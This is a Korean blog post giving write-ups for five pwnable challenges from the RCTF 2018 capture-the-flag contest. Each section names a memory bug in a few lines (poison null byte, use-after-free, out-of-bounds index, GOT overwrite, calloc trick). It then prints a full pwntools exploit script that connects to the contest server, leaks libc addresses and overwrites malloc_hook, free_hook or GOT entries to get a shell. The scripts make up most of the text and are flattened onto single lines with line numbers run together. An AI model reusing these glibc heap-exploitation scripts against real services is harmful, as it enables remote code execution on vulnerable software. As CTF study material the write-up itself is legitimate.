-
RCTF 2018 Write upPwnable/CTF 2018. 5. 21. 15:22
Baby HEAP
운 좋게 1등으로 문제를 풀었다 !!
문자열을 입력받는 함수에서 POISON-NULL-Byte 취약점이 생긴다.
취약점을 써서 뚝딱 풀면 된다.
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657from pwn import *#p=process('./babyheap')p=remote('babyheap.2018.teamrois.cn',3154)def alloc(size,content):p.sendlineafter(': ','1')p.sendlineafter(': ',str(size))p.sendlineafter(': ',content)def show(idx):p.sendlineafter(': ','2')p.sendlineafter(': ',str(idx))def delete(idx):p.sendlineafter(': ','3')p.sendlineafter(': ',str(idx))alloc(24,'AAAA')alloc(256,'B'*240+p64(0x100)+p64(0x121))alloc(256,'CCC') #2delete(0)delete(1)alloc(24,'A'*24) #0alloc(0x88,'BBBB') #1alloc(0x60,'bbbb') #3delete(1)delete(2)p.recvuntil('Exit')p.recvuntil('Exit')sleep(1)alloc(0x88,'ZZZZ') #1alloc(0x80,'bbbb') #2alloc(0x80,'cccc') #4delete(2)show(3)p.recvuntil('content: ')main_arena = u64(p.recv(6)+'\x00\x00') + 88 - 176malloc_hook = main_arena - 0x10libc_base = main_arena - 0x3c4b20print hex(main_arena)print hex(malloc_hook)print hex(libc_base)delete(4)alloc(0x60,'aaaa')alloc(0x60,'cccc')delete(2)delete(4)delete(3)alloc(0x60,p64(malloc_hook-0x23))alloc(0x60,'cccc')alloc(0x60,'aaaa')alloc(0x60,'A'*0x13+p64(libc_base+0x4526a))p.interactive()cs RNote3
data 포인터 첫 바이트를 NULL로 만들면 되는데 그것을 생각했을 때 익스를 거의 다 짠 상태라 그냥 2번째 BYTE를 NULL로 만드는 익스를 짰다.취약점은 DELETE를 할 때 스택에서 NULL로 초기화를 안 시켜서 UAF 취약점이 생긴다.
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273from pwn import *#p=process('./RNote3')p=remote('rnote3.2018.teamrois.cn',7322)def add(title,size,content):sleep(0.5)p.sendline('1')p.sendlineafter('title: ',title)print p.sendlineafter('size: ',str(size))p.sendlineafter('content: ',content)def view(title):sleep(0.5)p.sendline('2')p.sendlineafter(': ',title)def edit(title,content):sleep(0.5)p.sendline('3')p.sendlineafter(': ',title)p.sendlineafter(': ',content)def delete(title):sleep(0.5)p.sendline('4')p.sendlineafter(': ',title)while True:try:# p=process('./RNote3')p=remote('rnote3.2018.teamrois.cn',7322)print p.recv(1024)p.sendline('-1')add('AAAA',24,'AAAA')delete('AAAA')delete('AAAA')add('',24,'AAAA')add('',24,'AAAA')add('BBBB',0xb0,p64(0x119))add('CCCC',24,'CCCC')add('DDDD',256,'/bin/sh\x00')delete('CCCC')delete('')view('\x40')if 'valid' not in p.recvuntil('title'):print 'Correct'p.recvuntil('note content: ')heap = u64(p.recv(6)+'\x00\x00') - 0x140print hex(heap)add('',24,'AAAA')add('CCCC',24,'CCCC')delete('')delete('')delete('BBBB')add('',0xb0,'BBBB')add(p64(heap+0x140)[0:6],24,'AAAA')add('!!!!',24,'@'*7+'\x00'+p64(0x500)+p64(heap+0x98))view('@'*7)p.recvuntil('note content: ')main_arena = u64(p.recv(6)+'\x00\x00') - 88libc_base = main_arena - 0x3c4b20free_hook = libc_base + 0x3c67a8print hex(main_arena)print hex(free_hook)edit('@'*7,'A'*0xa0 + p64(0) + p64(0xc0) + p64(0x21) + '@'*7 + '\x00' + p64(0x500) + p64(free_hook))edit('@'*7,p64(libc_base+0x45390))p.interactive()else:asd() #errorexcept:print 'Error'cs Simulator
a2[0] = asm_opcode
a2[1] = reg_idx
a2[2] = reg_idx
a2[3] = reg_idx
대충 인덱스에 이런 식으로 들어간다 if 문으로 asm을 입력하면 opcode로 바꿔주고 OPCODE를 if 문으로 나누는데
add, and, sub, slt, or 5개만 내가 입력한 문자열로 인덱스를 정해줄 수 있다.
인덱스 값 범위를 필터링 하지 않았기 때문에 OOB취약점이 생긴다.
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566from pwn import *import hashlibimport stringdef proof_of_work():data = p.recvline().split('\n')[0]str_ = string.ascii_letters + string.digitskey = ""check = Falseprint datafor one in str_:if check:breakfor two in str_:if check:breakfor three in str_:if check:breakfor fo in str_:key = data + one + two + three + foif check:breakif hashlib.sha256(key).digest().startswith('\0\0\0'):print (one+to+three+fo)p.send(one+to+three+fo)check = True#p=process('./simulator')p=remote('simulator.2018.teamrois.cn',3131)proof_of_work()sleep(1)p.sendline('.text')p.sendline('sub {0},{1},{2}'.format('4294966944','134523785','1')) #puts -> mainp.sendline('sub {0},{1},{2}'.format('4294966942','134514033','1')) #strdup -> printfp.sendline('END')p.sendline('.data')sleep(1)p.sendline('%2$p')fgets = int(p.recv(10),16) - 11 #server -> 0x5d620libc_base = fgets - 0x5d620system = libc_base + 0x3a940cmd = libc_base + 0x15902bprint hex(fgets)print hex(libc_base)print hex(system)print hex(cmd)p.sendline('%159$p')canary = int(p.recv(10),16)print hex(canary)p.sendline('.text')p.sendline('sub {0},{1},{2}'.format('4294966944','134514033','1')) #puts recoveryp.sendline('END')p.recvuntil('comment: ')p.sendline('AAAA')payload = 'A'*32payload += p32(canary)payload += 'B'*12payload += p32(system)payload += p32(cmd) * 2print p.sendlineafter('comment: ',payload)p.interactive()cs RNote4
NO-RELRO를 보고 바로 strtab덮어야지 했는데 이상하게 안 덮여서 삽질을 하다가 그냥 free@got를 system으로 브포를 돌렸다.
문제를 풀고 다시 확인해보니 strtab을 이상하게 덮으려고 했다 ..
123456789101112131415161718192021222324252627282930313233343536373839404142from pwn import *p=process('./RNote4')def alloc(size,data):p.send('\x01')p.send(size)p.send(data)def edit(idx,size,data):sleep(0.5)p.send('\x02')p.send(idx)p.send(size)p.send(data)def delete(idx):sleep(0.5)p.send('\x03')p.send(idx)while True:try:# p=process('./RNote4')p=remote('rnote4.2018.teamrois.cn',6767)alloc('\x18','A'*24)alloc('\x18','B'*24)alloc('\x18','C'*24)alloc('\x18','/bin/sh\x00'+'\x00'*16)edit('\x01','\x30','B'*40+p64(0x602018))delete('\x00')edit('\x02','\x03','\x90\x33\x56')delete('\x03')p.sendline('id;ls')print p.recv(1024)p.sendline('id;ls')print p.recv(1024)p.interactive()except:p.close()p.interactive()cs Stringer
문제를 보자마자 그 취약점이 생각났다.
ROOT_CTF Allocate가 아래 ptrmalloc에 나오는 calloc trick, realloc trick을 이용한 문제였는데 모르고
realloc에서 NULL로 덮지 않았다. ㅠㅠㅠ
https://github.com/andigena/ptmalloc-fanzine
위에서 03scraps-calloc.c trick이 이 문제 핵심이다.
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152from pwn import *#p=process('./stringer')p=remote('stringer.2018.teamrois.cn',7272)def new(length,string):p.sendlineafter('choice: ','1')p.sendlineafter(': ',str(length))if(len(string) < length):p.sendlineafter(': ',string)else:p.sendafter(': ',string)def edit(idx,byte_idx):p.sendlineafter('choice: ','3')p.sendlineafter(': ',str(idx))p.sendlineafter(': ',str(byte_idx))def delete(idx):p.sendlineafter('choice: ','4')p.sendlineafter(': ',str(idx))new(24,'A'*24) #0new(0x100,'B'*0x100) #1new(0x100,'C'*0x100) #2delete(1)edit(0,24)edit(0,24)new(0x100,'\n') #3p.recvuntil('your string:')p.recv(1)main_arena = u64(p.recv(6)+'\x00\x00') - 0x16 + 0x2clibc_base = main_arena - 0x3c4b20malloc_hook = main_arena - 0x10print hex(main_arena)print hex(libc_base)print hex(malloc_hook)new(0x60,'AAAA') #4new(0x60,'BBBB') #5delete(4)delete(5)delete(4)new(0x60,p64(malloc_hook-0x23))new(0x60,'BBBB')new(0x60,'AAAA')new(0x60,'A'*0x13+p64(libc_base+0xf02a4))p.sendlineafter('choice: ','1')p.sendlineafter('length: ','24')p.interactive()cs 'Pwnable > CTF' 카테고리의 다른 글
SECCON 2017 vm_no_fun (0) 2018.08.15 Codegate 2018 7ameBOX1 (0) 2018.05.21 RCTF 2018 Write up (2) 2018.05.21 Secuinside 2017 vvv (0) 2018.05.13 Codegate 2017 JsWorld (0) 2018.05.10 Codegate 2018 Final (0) 2018.04.10
잘보고 갑니다 ^^
넵 ^^